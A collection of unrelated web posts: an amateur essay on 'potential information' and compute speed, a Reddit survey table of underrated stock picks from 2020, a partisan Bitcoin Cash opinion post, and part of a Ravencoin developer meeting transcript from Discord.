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##### Potential Information

Potential Information
I'm going to try and demonsrate, in Natural Language, why there is a Revolution occuring in Information Science. The question I wish to Address is: "How much Information is there in a give Container?". As modern Computer Scientists see things, the amount of Information in a given container is precisely the number of possible discrete states of that conainer. So a nibble can be in 16 possibles states, a byte can be in 256 possible states, and so on. I'd to coin the term "Potential Information" and make an explicit Parallel with Potential Energy. So for a byte, the Potential Information is 256. It's interesting that we don't use Units for Potential Information, though it is a well studied concept, if newly named. Conctpetually, we understand the Units as 256 pieces of "Potential Discrete Information", so let us use name the Units pdi.
Let's extend the Parallel with Potential Energy. A Boulder at the Top of a Mountain is said to have a Potential Energy Relative to it's height, weight and the Gravitational Constant that is tranfered to Kinetic Energy if it Rolls down the Mountain. For Argument's sake let us Suppose a Flat Earth, then at the Bottom of the Mountain, the Boulder is said to have Zero Potential Energy (certinaly regarding its Potential to fall under Gravity but but I expect there are other ways Squeeze Enery out of Rock!). In a Computer I would say that a byte in a Switch On Computer is like the Boulder at the top of the Mountain with Maximum Potential Information (256pdi) and in a Switch of Computer, it has Minimum Potential Information.
So here's a Question first of all: "What is Minimum Potential Information?". Let's now do a thought experiment to help aswer the question at hand. Consider the concept of a "Broken Bit"; a bit that is fixed in either the 0 or 1 state and can't be changed. So, Information Theorists? What is the pdi of a Broken Bit? We now a working bit has 2pdi, but do we say the Broken Bit has 1pdi or 0pdi? 1pdi seems reasonable because it has a single Discrete State, but then 0pdi it seems we can't draw any information from it. If 0 is your answer, then I think you've jumped the gun, becuase I never told you what state it was locked in. What if I tell you it is locked in the 1 state? Well certainly we can draw no further information from it, but I say we still have the information that it is in the 1 state. So, I would say that before observation, the bit has 1pdi, but after observation, it has 0 pdi.
Now let us consider another possible unit of Information Measure "Discrete Information" or "di". So what is the di of a Broken Bit? Before we Observe it, we know we are going to read 1 Discrete Piece of information, and afterwards, we have read 1 Discrete Piece of Information. So I would say that the di of a Broken Bit is 1 in any Eventuality.
So you could interpret that as meaning that pdi is Time dependent and di is not Time dependent, which is a reasonable way to look at it. A more precise Way to look at it from a Computer Scientists point of view woud be to say that pdi is dependent on the number of "Reads" or "Potential Reads" where as di is not. This certainly holds for the Broken Bit. But, let us consider a working bit.
Let's get side tracked a bit and analyze a couple of common Computer Science Abstracts: Programs and Operations. Here's a suggestion for the definition of a "Program": A "Program" be an initial value for a container, and a series of well defined operations that manipulate the information of the container.
But this begs the question, what is an Operation... actually there's no obvious answer, it is thought of differently at different levels of the Computer Stack. To a user, Typing in a url and hitting Enter might be thought of as an Operation. The Web-Browser Software Developer, might consider an Operation to flag that the user has clicked in the url bar, an operation to read the string, operation(s) to analyis it, and operation(s) to send it to the DNS server. How about the guy who programmed the "String Read" operation, perhaps Scanf in C. That probably entails rather a few operations in Software alone, though it is a single operation in C. Then how many operations in Hardware were performed in this situation?
Here's a good Analogy for this type of thinking that any programmer will understand. Imagine you meansure Operations number of function calls. So how many operations in a "hello world application"? Well in C, it's One function call (not including main). Ok, but what about in Assembler? Rather a many function calls I would think. Then how did it get on your screen? Imagine the vast quatities of Function Calls that translate printf("hello world"); into a pattern of illuminated LEDs on the screen in a Terminal Window. Beyond that, how about the vast Edifices of Abstractions that lead to these LEDs glowing? Pixels, resolution, then colour of pixel which is represented as four bytes and needs Computer Software to interpret, then convert into a format correct to the monitor, then the monitor probably has more software to apply any colour correction and convert it into an Electrical Charge through some sort of Digital to Analog Converster that will eventually make a pixel glow with a certain colour. So how many operations in a "hello world" program? One could probably write countless Volumes analysing every operation that takes place from the flow of electrons through through Logic Gates, in the CPU, through the interupt mechanism on the chip to read you keystrokes, the abtraction of a bit and the operations of each ALU, the interpretation of the bits at each state of the ALUs computation etc. In fact, I think if you fully Analysed Everything that takes place inside a Computer in writing, compiling and executing a simple "hello world" program on a modern computer, you could probably chart pretty much the entire History of Computer Science.
For a moment, let us consider programs with no inputs, and et me suggest a definition of an Operation that may seem a little left field: "A Single Operation is the Space between two outputs", and "an output is any piece of information that it is a requirement that the program produce to satisfy its operation to the user". Let us assume for a moment that the only output device for a program is a Screen, and we a running a tech demo of the latest video game. As far as the user (i.e. viewer) is concerned, the only output they need is each frame. So long as the frame rate ticks over, the user is happy regardless of what is going on inside the computer. Then, the rate of Operations is Solely Dependent on how often the Screen updates, and 1 Operation takes place in the Computer inbetween each frame under this definition. So why use this seemingly bizarre Abstraction? What I'm seeking is an Absolute Measure of Compute Speed or Proficiency, and it seems to me, it is dependent on the program that is running. I'm sure those ASCII chips for mining bitcoin are dyamite at mining bitcoin, but your not going to get world of Warcraft running on them. I'm not sure you can really compare the Compute Speed of a ASCII bitcoin mining Rig to an XBox to example, certainly not simply by measuring Clock Speed and memory access rates anyway. What would be considered an "output" for a bitcoin miner? Hashrate is the standard measure of a bitcoin miners speed, and it is a most beautifully simple and perfect measure. Considering Compute Speed as "Numer of Operations per Second", then my definition of Operations and Outputs gives the Hashrate on a bitcoin miner. What about when an output is a frame on a Screen? Then on a game tech demo, for example, the Compute Speed would be the frame rate using the definitions I have already give. Again, probably the best know measure of Compute Speed for that type of Software. So perhaps I beginning to hit on a good generaization. I've actually conned you a little bit... in fact, under this definition of an operation as the "space between" outputs, my measure of compute speed of a video game is actually framerate-1 and my bitcoin mining measure is Hashrate-1. Here's another interesting consequence, with framerate, if my Computer is outputing a 30 frames per second, then I am running at 29 operations per second, but if I am running at 59 operations per 2 seconds... Actually very important with this measure of speed, which I'll write about another time. Those that have been studying O-Cycles may well have just spotted a Parallel! I want to consider another type of program also. Some programs (and in my opinion usually wise ones) don't necessarilly seek to operate as fast as possible. Take "metronome" program for example and let an "output" be one metronome "click". If you just tried to run it as fast as possible, you would have hyper speed noisy and irregular metronome. i.e. not really a metronome at all. So what would satisfy the user in a metronome program? Ignoring issues of software design, the main anwer would be accuracy of timing; usually not directly proportional to compute speed. Let us coin a new phrase, "Compute Proficiency" and say that for a metronome, Compute Proficiecy is measured by the accuracy of the metronome's timing. So Compute proficiency could be measured the deviation of the click, from some standar norm. i.e. deviation (perhaps in milliseconds) away from some target timing. Now, in my experience as a skilled bedroom music producer and Computer Scientist, this has precisely no relationship to the clock speed of any electronic/computer musical intrument I use. Consider measuring time in Beats and consider the Cartesian Plane with Time Measured on the x axis and Time Modulus 1 on the y axis. Then the beats will be series of points with y = around the line y = 0. Then we can do all sorts of Statistics to Measure Compute Profiency based on each point's deviation from (0, n) where n is an Integer...
[...a brief digression for those that have been following my other work, if we map the timing of each beat to the Complex Plane as follows: y = time and x = (time modulus 1) + 1/2, then let c = x + yi, then we have a rather recognizable line through the Complex Plane. For a Perfectly accurate Metronome, the line Re(c) = 1/2, i.e. what most think and hope are the Zeros of the Zeta Function... honestly, I'm still investigating whether this is True... I'm pretty sure that either the Sum of 0s divided by the number of Zeros Summed = 1/2 as i o-o, or they are all 1/2. Curiously, for the purposes I like to use this Science for, it wouldn't matter one jot which was True... So far anyway...]
So, if you'll exuse my digression, let's get back to measures of information. So I would propose the following definition of "rate of information": number of discrete pieces of information per output, with output defined per computer program. Let's take an example of Video playing software, and assuming so sound, say it out puts a grey scale image of 1024 x 1024 pixels every 100 milliseconds. Then assuming 1 byte per pixel, the program outputs 1 Megabyte memory per 100 milliseonds. So how much Discrete Information is it outputting per 100 milliseconds? Most people would say 1 Megabyte... How about per second? Again, most people would say 10 Megabytes. Here is how I would analyse the situation. I might say that a Megabyte, in a particular state, would constitute 1 Discrete piece of information (though not the only way of looking at it). Then I might day that the Potential Discrete Information of that Megabyte was 1024 * 1024 Discrete Pieces of information. So I would say the program is outputting at 10 Discrete Pieces of Information per Second- of course this doesn't consider Container Size of the Information. Let's look at it under a different lense, why would I consider 1 Megabyte in a particular state, a single piece of information? We could just as easily see it as 1024 * 1024 Discrete Pieces of Information if we consider the value of each pixel (byte) as a single piece of Information. Finally, I could consider it as 1024 *1024 * 256 Discrete Pieces of Information if we consider each bit individually. Here's a useful Equivolance Relationship:
Assume that the number of bits in a Sub-Container is a Power of 2 and the number of bits in a Container is a larger power of 2.
letting:
S = the Sub-Contain's Potential Discrete Information
C = the Container's Potential Discrete Information
s = number of bits in the Sub-Container
c = number of bits in the Container
then:
S / 2c = 2s / C
This is nothing to Computer Scientists, as Potential Discrete Information is what they usually consider. The above Relation is just a need formalization relating the number of bits and Potential Information in a Storage Container with a Sub-Container. Such as Total RAM to words or words to bytes etc.
Now what if we relate this to Discrete Pieces of information. Considering the situation, it seems that a single output should generally be considered a single Discrete Piece of Information. Then the goal of reducing the memory foot-print of Software Might be to make a Single Piece of Discrete Information have as little Potential Information as possible. How about an example: Consider out video game Tech Demo again, where we considered a single frame to be a single output and found that a single frame had 1 Megabyte of Potential Information. So by standard Information flow calculations, we are outputting information at 10 Megabytes per Second (One frame every 100 milliseconds). Now let's consider another situation, suppose we could stream a the output data to the screen without storing the whole frame. Let's say we could output it in 10 kilobyte chunks every 1 millisecond. Then our rate of information flow hasn't changed, however out memory footprint has reduced 100 fold. I'm still a little Wooly on the notion of an output, but it would now seem sensible to model an output as one of these 10 kilobyte chunks and therefore a discrete piece of information as a single output. So what do we have now:
1000 Discrete Pieces of Information per second 1 kilobyte of Potential Information per Discrete Piece of Information Therefore: 1 Megabyte of Potetial Discrete Pieces of Information per Second...
thus: Speed = pdi di/s
i.e Data Rate = Potential Discrete Pieces of Information per Discrete Piece of Information Per Second
So we may consider di/s purely a measure of speed of data trasfer, without considering size... e.g.
30 or 60 di/s for a 60 frames per second game for example, (treating each frame as 1 discrete piece of information). Then if it is outputting on 1024x1024 screen with 4 bytes per pixel, then we could say the Output Rate of the Game is:
Output Rate = 4Mb * 60 di/s or
Output Rate = 4Mb * 30 di/s
In visual Programs such as Graphical Programs, the di/s is VERY slow in comparison to a CPUs clock speed as humans rarely perceive quality improvements in animation about about 60fps (don't believe anyone who tell you that it's 30fps!).
Now consider the Polar Opposite in Modern Day Computing, a program than generates audio. an audio output device may ouput at 44,100 frames per second (for CD Quality) and the frames will usually be 16 bits for this kind of audio. So, such a pieces of Hardware/Software has the following output rate:
Output Rate = 16bits * 44,100 di/s
So some tell me, what is the Theoretical Minimum Memory footprint for such devices? The Theoretical Minimum is to create a program who's memory footprint is less that or equal to the Potetial Discrete Information Per frame. That doesn't help you with how to achieve this, but you certainly could not beat that minimum. I'm in the process of designing programs that can do this kind of this using the Tick operation.
Now, what's the minimum Discrete Pieces of Information per frame. The Answer is actually very Surpising, even for interesting programs. The answer is 1 bit. Let me explain. EVERY output of a Computer is Analog bar none. Very obviously so in Audio Devices and and old Televisions, but even Digital Information transfer is a Wave that is interpreted Digitally. Now how many bits does it take to produce a Wave? Well let's say I flick a bit at 500Hz and output it down a cable and send it into an Amp. Then I've just created a 500Hz Square Wave and I didn't need any software to Store anything, interpret what was stored, convert to packets, decode and send to the audio device. I wont speak much more about this now because I lack the Language of an Electrical EngineeEnergy Scientist to Describe my supositions, but one thing I do know, from an information persective, is that you can generate a Vast Quantity of Waves simply by flicking a single bit with the correct timing and sequence. Finally, when it gets to the point of directly outputting an Analog Signal direct from Code, what does this Discrete Pieces of Information per Second thing mean that I'd talking about earlier? You might say that the speed was the rate at which we flicked the bit, which is probably reasonable, but by the same token, the output itself does not have a discrete quality if it is a smooth Wave...
Here's the idea... you know those ugly annoying Computer Noises that sometimes leak from Speakers, like the Insidious Machinations of some Digital Monster? That is the Amplified noise of a Computer's Brain Pattern. We send that brain Data, our Digital Firend Mulls it over using His/Her Digital Brain Wave, then sends us back data. My thinking is to try to manipulate the Computer's Brain Waves Directly, then Amplify the result to use for whatever purposes...
Finally, what happens if you amplify the signal of [a] bit[s] ‘ticking itself in an O-Cycle? That’s kind of where I’m going with this...
...hmmm... Mysterious...
Nishikala
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##### The underrated stock survey! Submit your picks for the community to track

Following on the previous tracking post (http://redd.it/i2mmzg) and the highly upvoted request from DJ-Ascii , I've set up this post for another round of underrated or undervalued stock picks.
As before, let us know what stock you believe is underrated and a consistent winner that has done well for you, or you believe will do well going forward.
In order to make this easier to track please use the following guidelines for submitting.
1. Only one submission per comment. You can make multiple comments, but please only submit one stock per comment.
2. Please include at least the ticker and the company name. Feel free to explain why you think this is a good stock.
I'll add these new picks alongside the old survey so as to update you on each portfolio over time. Don't worry about any overlaps.
Edit 1: I've compiled everyone who has posted so far, but I'll look out for any final additions tomorrow. The list will then be locked EOD on Friday the 7th of August, and all prices will start from there.
Edit 2: All picks have now been locked down and consolidated into the list below. Stocks are sorted in alphabetical order of their company name and the ID corresponds to the approximate order in which they were submitted. The next update will be in 30 days.
ID Company Symbol Provided by Upvotes 8/7/2020
194 10X Genomics Inc TXG Unlucky-Prize 1 \$96.13
111 1ST TR EXCHANGE/NASDAQ CEA CYBERSEC CIBR komoggmu321 1 \$35.40
176 2U Inc TWOU DickDaddy 1 \$41.49
110 AAR Corp. AIR paulo92834 4 \$18.77
180 ACM Research Inc ACMR moveitover 1 \$101.92
23 Activision Blizzard, Inc. ATVI Mondanivalo 12 \$82.47
8 Advanced Micro Devices, Inc. AMD ArneGo, apqwer, LoveOfProfit 13 \$84.85
28 Ageagle Aerial Systems Inc UAVS fishkillr 16 \$3.26
205 Agraflora Organics International Inc AGRA spreeshark 1 \$0.05
22 Air Canada TSE:AC priamXus 0 \$15.73
19 Alexion Pharmaceuticals, Inc. ALXN fisk47 39 \$103.28
70 Alibaba Group Holding Ltd - ADR BABA helio987, ScreeMart, Necessary_Club_6714 -1 \$252.10
17 Ally Financial Inc ALLY jcurtis44 1 \$21.47
24 Alteryx Inc AYX Kme2 30 \$121.38
222 Altimmune Inc ALT Spes-Caritas 1 \$27.38
117 Altria Group Inc MO ARGENT_UM_PUR, gm14202 1 \$42.17
143 American Tower Corp AMT editviewgo 1 \$257.61
175 American Water Works Company Inc AWK InfamousLegato 1 \$149.79
183 Anglo Asian Mining LON:AAZ krenaldi1 1 \$161.50
129 Aphria Inc APHA Aprhria, Bdghablig 1 \$4.47
119 Apple Inc. AAPL tcldstnvdw -1 \$444.45
184 Ares Capital Corporation ARCC ThemChecks 1 \$14.87
54 ASML Holding NV ASML EthosPathosLegos, earthmoonsun 15 \$366.07
113 Atlassian Corporation PLC TEAM shadowrckts 1 \$170.93
224 Avalara Inc AVLR nomdeplume_alias 1 \$122.71
244 Axon Enterprise Inc AAXN ansofteng 1 \$83.88
150 Aytu Bioscience Inc AYTU Bkzkilla2, beefy-ambulance, subaruveganguy22 2 \$1.38
236 Banco Bbva Argentina SA BBAR GAV17 1 \$4.23
128 Bank of America Corp BAC oobydoobydoobydoo, wrs97 2 \$26.11
247 BELLUS Health Inc BLU NhatNguyen2112 1 \$2.74
29 Berkshire Hathaway Inc. Class B BRK.B Jeroen_Jrn, Cuza 31 \$209.48
45 Best Buy Co Inc BBY 1madeamistake 2 \$102.90
35 Beyond Meat Inc BYND Kreisensalat, Flipside 8 \$131.51
33 BlackBerry Ltd BB mh1t, EthosPathosLegos 25 \$4.84
208 Blackline Inc BL veebeew 2 \$79.26
196 Booz Allen Hamilton Holding Corporation BAH i_smel_hookers 1 \$84.67
75 Boston Beer Company Inc SAM Top_Island 2 \$825.79
114 Brainstorm Cell Therapeutics Inc BCLI BigSexyTolo 2 \$12.79
92 Brookfield Asset Management Inc BAM duongroi, Avaronah 2 \$32.32
187 Brookfield Property Partners LP Unit BPY Onarco 1 \$11.75
140 Brookfield Renewable Partners LP BEP YourPineapplePunch 1 \$45.25
227 Cameco Corp CCJ jh4962772, Commandobolt, 3STmotivation 13 \$10.37
109 Canadian Solar Inc. CSIQ MrMineHeads, vvv561 6 \$25.32
204 Cardlytics Inc CDLX whossayn, YarManYak 2 \$66.28
146 CBS Corporation Common Stock VIAC 1987supertramp 1 \$26.21
74 CD PROJEKT S A/ADR OTGLY Thtb 8 \$28.50
229 CDW common stock CDW plorfu 1 \$114.77
95 CEL-SCI Corporation CVM Golden_Pineapple 1 \$12.19
242 Chegg Inc CHGG Boots2243 1 \$86.98
36 Cloudflare Inc NET thereisnospoongeek, olliemacg, Boots2243 220 \$40.06
80 COLLIER CREEK H/SH CL A CCH RIC_FLAIR-WOOO 5 \$13.84
246 Coty Inc COTY NhatNguyen2112 1 \$4.00
209 Cresco Labs Inc CRLBF UncleSlippyFist 1 \$6.28
3 Crispr Therapeutics AG CRSP emtvaikkajoku 98 \$89.81
142 Crown Castle International Corp CCI jkgator 1 \$168.19
16 CureVac Pending IPO Tangerinho 8 #N/A
223 CVS Health Corp CVS handsomeandsmart_ 2 \$64.96
65 Cyberark Software Ltd CYBR Kevenam 2 \$110.59
239 CytoDyn Inc CYDY dufmum 1 \$4.79
165 Daqo New Energy Corp DQ stonk_daddy 1 \$122.55
241 DexCom, Inc. DXCM InformalAid 1 \$440.70
6 Dicerna Pharmaceuticals Inc DRNA earthmoonsun 7 \$21.03
73 Digital Turbine Inc APPS toop4 6 \$22.59
130 Docusign Inc DOCU h3ku, Teach-101 0 \$204.76
185 Draftkings Inc DKNG boomshalock 1 \$34.09
39 Drive Shack Inc DS Bobjenkins97 2 \$1.65
4 Editas Medicine Inc EDIT earthmoonsun 7 \$34.71
145 Edwards Lifesciences Corp EW TheTubbyOlive 1 \$76.94
139 EHang Holdings Ltd - ADR EH TheEUR0PEAN 1 \$9.21
230 Electrameccanica Vehicles Corp SOLO IHaveUsernameBlock 1 \$3.07
118 Elevate Credit Inc ELVT ScoreFuture 1 \$2.58
218 Else Nutrition Holdings Inc BABYF PringlesAreUs 1 \$1.36
85 Empire State Realty Trust Inc ESRT silverpaw1786 4 \$6.66
21 Enphase Energy Inc ENPH deGoblin 31 \$72.84
197 Equinix Inc EQIX gce1010 3 \$791.70
86 Essent Group Ltd ESNT veggie-man 1 \$35.82
235 Etsy Inc ETSY PeskyShart 1 \$135.06
84 Fastly Inc FSLY AwesomeMathUse 3 \$79.33
93 Federal National Mortgage Association FNMA figbuilding, onkel_axel 2 \$2.12
168 Fire & Flower Holdings Corp TSE:FAF tobcar 1 \$1.01
207 First Mining Gold Corp FFMGF RecCenterBall 0 \$0.41
219 FLIR Systems, Inc. FLIR zerokarma 1 \$37.48
52 Fluor Corporation (NEW) FLR lost_searching 2 \$11.38
90 FORUM MERGER II/SH CL A FMCI Mug_of_coffee 3 \$14.53
81 Franco Nevada Corp FNV AwesomeMathUse 1 \$153.57
155 FuelCell Energy Inc FCEL i-kno-nothing, dewaser 2 \$2.68
98 Games Workshop Group PLC OTCMKTS:GMWKF MAUSECOP, Thenattylimit 2 \$120.95
115 GameStop Corp. GME EmployerOfTheMonth 2 \$4.16
200 Gan Ltd GAN emcdeezy22 2 \$20.29
159 General Motors Company GM Buttershine_Beta -1 \$26.72
251 Genius Brands International Inc GNUS due11 1 \$1.59
156 GFL Environmental Inc GFL lenadunhamsbutthole 1 \$21.56
99 Gilead Sciences, Inc. GILD Leroy--Brown 1 \$69.35
138 GLB X FUNDS/HEALTH & WELLNESS T BFIT Venhuizer 2 \$20.69
126 GLB X FUNDS/VIDEO GAMES & ESPORTS E HERO sgtyzi 1 \$26.00
186 Golden Minerals Co AUMN YEEEEEAAAAA 1 \$0.44
151 Gran Colombia Gold Corp TSE:GCM Linnake 0 \$7.46
67 Grayscale Bitcoin Trust (Btc) GBTC asherlevi 2 \$13.06
234 Great Panther Mining Ltd GPL Tony0x01 1 \$0.93
152 H&R Real Estate Investment Trust HR.UN CaptainCanuck93 0 \$10.34
122 Helen of Troy Limited HELE aa341 1 \$201.26
55 Hikma Pharmaceuticals Plc HKMPF Marvins-Room 1 \$31.08
20 Horizon Therapeutics PLC HZNP thesearchforanswer 3 \$76.06
103 Huntington Ingalls Industries Inc HII howtoreadspaghetti 1 \$167.90
9 IAC/Interactivecorp IAC dvdmovie1 36 \$133.05
61 Ibio Inc IBIO PrairieDogger69 1 \$3.80
101 Immunovia AB (publ) IMMNOV jennyther 3 \$161.60
108 Ingles Markets, Incorporated IMKTA kimjungoon 1 \$42.97
77 Inmode Ltd INMD meta-cognizant, craneman813 4 \$31.77
123 Innovative Industrial Properties Inc IIPR Dalis_Ktm 1 \$114.63
201 Inseego Corp INSG esoccer141414 1 \$12.08
214 Inspire Medical Systems Inc INSP JPINFV2 1 \$104.92
134 Intel Corporation INTC ionlypwn, TitanCrasher54, niknikniknikniknik1 5 \$48.03
5 Intellia Therapeutics Inc NTLA earthmoonsun 7 \$19.83
164 Intuitive Surgical, Inc. ISRG swalloforswallo 2 \$685.85
252 INVESCO EXCHANG/SOLAR ETF TAN z74al 2 \$51.20
71 InVitae Corp NVTA emtvaikkajoku, CrackHeadRodeo 6 \$28.43
228 ISHARES TGLB CLEAN ENERGY ET ICLN drheman25Q 1 \$15.88
112 John B. Sanfilippo & Son, Inc. JBSS chris011186 2 \$89.24
171 JPMorgan Chase & Co. JPM wrs97 1 \$99.38
58 Jumia Technologies AG - ADR JMIA Jerund, souptrades, 7YearOldCodPlayer, CharlieBrown364, fortnitehead 7 \$19.26
144 Kaleyra Inc KLR souptrades 1 \$5.87
158 KEFI Minerals plc LON:KEFI Scipio-Africannabis- 1 \$1.88
216 Kirkland Lake Gold Ltd KL Newusername 1 \$52.58
238 Kroger Co KR bxkrish 1 \$35.24
2 Lemonade Inc LMND br1ghtness, skkreet, hahadumblloyd 4 \$66.84
15 Limelight Networks, Inc. LLNW cyberdex, thug_funnie 3 \$6.10
63 Livongo Health Inc LVGO staniel_diverson, Raybay192, Drifter 1996, moveitover 22 \$120.88
182 Logitech International SA LOGI CharlieBrown364 1 \$73.03
217 LONZA GRP AG/ADR LZAGY Fuck512 1 \$62.92
66 Lydall, Inc. LDL Henisockle 1 \$20.89
191 Macerich Co MAC skvettlappen 1 \$7.85
97 Magnachip Semiconductor Corp MX samtony234 1 \$12.08
233 Mamamancini's Holdings Inc MMMB Jayesslee 1 \$1.70
88 Match Group Inc MTCH BallinLikeImKobe24 1 \$115.88
79 Maverix Metals Inc MMX AwesomeMathUse 1 \$4.61
107 Maxar Technologies Inc MAXR Borne2Run 1 \$24.74
221 Mediwound Ltd MDWD blueblade408 1 \$3.91
34 Mercadolibre Inc MELI pontoumporcento 14 \$1,193.97
161 Micron Technology, Inc. MU Wexoch 3 \$48.75
253 Microsoft Corporation MSFT TBSchemer 34 \$212.48
179 Millicom International Cellular SA(SWE) STO:TIGO-SDB joseph460 1 \$245.50
116 Mills Music Trust Unit OTCMKTS:MMTRS ARGENT_UM_PUR 1 \$39.00
10 Molson Coors Beverage Co Class B TAP howtoreadspaghetti 1 \$37.27
170 Morgan Stanley MS wrs97 1 \$50.35
127 Naspers Limited NPSNY Demandredz 1 \$34.60
11 Nathan's Famous, Inc. NATH howtoreadspaghetti 1 \$51.25
181 NCR Corporation NCR IAMBEOWULFF, fistymonkey1337 4 \$20.11
211 NESTLE S A/S ADR NSRGY suburban_robot 1 \$118.47
124 New Relic Inc NEWR Dalis_Ktm 1 \$53.62
249 New York Mortgage Trust Inc NYMT ToKeepAndToHoldForev 1 \$2.77
162 New York Times Co NYT jonhuang 1 \$45.61
69 Nio Inc - ADR NIO makesalotofmoney, Carrera_GT, Charlie Brown364 3 \$13.42
59 Nokia Oyj NOK perfectriot, LiabilityFree 52 \$4.98
37 Novacyt SA ALNOV Snoopmatt 1 \$3.60
254 Nuance Communications Inc. NUAN IwantmyMTZ 1 \$29.48
13 NVIDIA Corporation NVDA TBSchemer, friedtea15 66 \$447.98
198 NVR, Inc. NVR Linnake 1 \$3,875.01
154 Okta Inc OKTA Bcr731 3 \$208.23
160 Opko Health Inc. OPK CS1026 1 \$5.63
100 ORSTED A/S/ADR DNNGY BrentfordFC21 2 \$47.37
190 Otonomy Inc OTIC Unlucky-Prize 1 \$3.56
46 Oxford BioMedica plc OXB arabidopsis 12 \$850.00
121 Pacific Ethanol Inc PEIX adamtejot 1 \$2.69
220 Pagerduty Inc PD throthrowth 2 \$29.85
25 Pan African Resources plc PAF Fruity_Pineapple 2 \$26.30
245 Paradox Interactive AB (publ) OTCMKTS:PRXXF I_worship_odin 1 \$24.30
174 Patriot One Technologies Inc PTOTF DanReynolds 1 \$0.73
148 Peabody Energy Corporation BTU aviatoraway1 0 \$2.52
237 Peloton Interactive Inc PTON loosetingles 1 \$68.30
188 Penn National Gaming, Inc PENN Calpool 1 \$49.00
87 Pershing Square Tontine Holdings, Ltd NYSE:PSTH-UN 5_yr_lurker 7 \$21.08
31 Pharmacyte Biotech Inc PMCB DillieTheSquid 0 \$0.01
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##### “Anything but money!” -BTC and -BSV

I find it funny that the two most viscous chains, BTC and BSV, are the ones fighting BCH’s simple proposal of “be money, first”, and in doing so, they literally are committing suicide.
BTC is no longer Bitcoin: A peer to peer electronic cash; instead, it’s Bitcoin: A reimagined Network for the settlement of 2nd Layer activity. The median BTC transaction fee could easily go above a dollar per transaction, rendering it silly as a “cash substitute” network.
I walk in the smaller grocery stores here, and if you want to use a credit card, they charge you an extra \$1 and that’s only if you’re buying say for \$5 and above.
That’s because they’re charged an insane fee of \$0.5 per transaction + 1.6-2.2% of the transaction depending on transaction size.
Imagine how idiotic it would be to replace what they have now (CC’s) with something more expensive, less reliable and still less accepted (BTC) than the counter part. Who in their right-mind would?
BTC is dead as a cash-like utility; and unless said merchants are willing to move from custodial credit cards to custodial lightning network, they’ll never see the same transaction costs, reliability, availability and security they’re used to with credit cards.
BTC is anything but money.
Then enter the CSW’s “settlement of considerations” token, BSV.
Now, CSW was a bit smarter than Blockstream (both are subzero comparisons though /s), and instead of just selling the settlement of Liquid and Lightning Network tokens, he wants to settle every type of consideration; he thinks Bitcoin isn’t money, but it can be made to be so, including Government tokens!
He believes fiats must be re-created on Bitcoin and they should have the same legitimacy current fiats have, and he supports a single private-client, permissioned mining and selective pruning as to cast out any unwanted players - criminals too, which is funny because by some government’s definition, CSW is a criminal, so does he cast himself out?
So BSV now has fiats, Metanet, ASCII image converters, Weather data, child porn and many dynamic and non-dynamic ways of accessing said child porn, and finally, a fuckton of patents and law-suits; but guess what is it not?
BSV is everything but money!
There you go; two camps fighting viscously against a very simple proposal and use-case.
We have satellites sending full blocks on one end of the spectrum 🛰 , BTC, and idiotic meme videos about metanet’s grandeur recreation of the internet on-chain, BSV.
Our simple and humble proposal here is that we continue what Satoshi started, and we focus on money and money first, BCH.
I’m banned from both rBitcoin and most SV subs for nothing but discussing facts such as what you read here.
Bitcoin is peer to peer electronic cash; it’s money, and Bitcoin doesn’t give a fuck if you agree or not.
Welcome to Bitcoin Cash, the middle of the middle of it all.
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##### Transcript of Open Developer Meeting in Discord - 7/19/2019

[Dev-Happy] BlondfrogsLast Friday at 3:58 PM
Hey everyone. The channel is now open for the dev meeting.
LSJI07 - MBITLast Friday at 3:58 PM
Hi
TronLast Friday at 3:59 PM
Hi all!
JerozLast Friday at 3:59 PM
:wave:
TronLast Friday at 3:59 PM
Topics: Algo stuff - x22rc, Ownership token for Restricted Assets and Assets.
JerozLast Friday at 4:00 PM
@Milo is also here from coinrequest.
MiloLast Friday at 4:00 PM
Hi :thumbsup:
Pho3nix Monk3yLast Friday at 4:00 PM
welcome, @Milo
TronLast Friday at 4:00 PM
Great.
@Milo Was there PRs for Android and iOS?
MiloLast Friday at 4:01 PM
Yes, I've made a video. Give me a second I'll share it asap.
JerozLast Friday at 4:02 PM
I missed the iOS one.
MiloLast Friday at 4:02 PM
Well its 1 video, but meant for all.
JerozLast Friday at 4:02 PM
Ah, there's an issue but no pull request (yet?)
https://github.com/RavenProject/ravenwallet-ios/issues/115
[Dev-Happy] BlondfrogsLast Friday at 4:03 PM
nice @Milo
MiloLast Friday at 4:04 PM
Can it be that I have no video post rights?
JerozLast Friday at 4:05 PM
In discord?
MiloLast Friday at 4:05 PM
yes?
[Dev-Happy] BlondfrogsLast Friday at 4:05 PM
just a link?
JerozLast Friday at 4:05 PM
Standard version has a file limit afaik
Pho3nix Monk3yLast Friday at 4:05 PM
try now
gave permissions
MiloLast Friday at 4:05 PM
it's not published yet on Youtube, since I didn't knew when it would be published in the wallets
file too big. Hold on i'll put it on youtube and set it on private
LSJI07 - MBITLast Friday at 4:06 PM
no worries ipfs it...:yum:
Pho3nix Monk3yLast Friday at 4:06 PM
ok, just send link when you can
[Dev-Happy] BlondfrogsLast Friday at 4:07 PM
So guys. We released Ravencoin v2.4.0!
JerozLast Friday at 4:08 PM
If you like the code. Go update them nodes! :smiley:
[Dev-Happy] BlondfrogsLast Friday at 4:08 PM
We are recommending that you are upgrading to it. It fixes a couple bugs in the code base inherited from bitcoin!
MiloLast Friday at 4:08 PM
https://www.youtube.com/watch?v=t\_g7NpFXm6g&feature=youtu.be
sorry for the hold up
YouTube
Coin Request
Raven dev Gemiddeld
LSJI07 - MBITLast Friday at 4:09 PM
thanks short and sweet!!
KAwARLast Friday at 4:10 PM
Is coin request live on the android wallet?
TronLast Friday at 4:10 PM
Nice video.
It isn't in the Play Store yet.
Pho3nix Monk3yLast Friday at 4:10 PM
Well, this is the first time in a while where we have this many devs online. What questions do y'all have?
LSJI07 - MBITLast Friday at 4:11 PM
Algo questions?
Pho3nix Monk3yLast Friday at 4:11 PM
sure
KAwARLast Friday at 4:11 PM
KK
LSJI07 - MBITLast Friday at 4:12 PM
what are the proposed 22 algos in x22r? i could only find the original 16 plus 5 on x21.
TronLast Friday at 4:12 PM
Likely the 5 from x21 and find one more.
We need to make sure they're all similar in time profile.
liqdmetalLast Friday at 4:14 PM
should we bother fixing a asic-problem that we dont know exists for sure or not?
TronLast Friday at 4:14 PM
That's the 170 million dollar question.
[Dev-Happy] BlondfrogsLast Friday at 4:14 PM
I would prefer to be proactive not reactive.
imo
JerozLast Friday at 4:14 PM
same
LSJI07 - MBITLast Friday at 4:15 PM
RIPEMD160 is a golden oldie but not sure on hash speed compared to the others.
liqdmetalLast Friday at 4:15 PM
in my mind we should focus on the restricted messaging etc
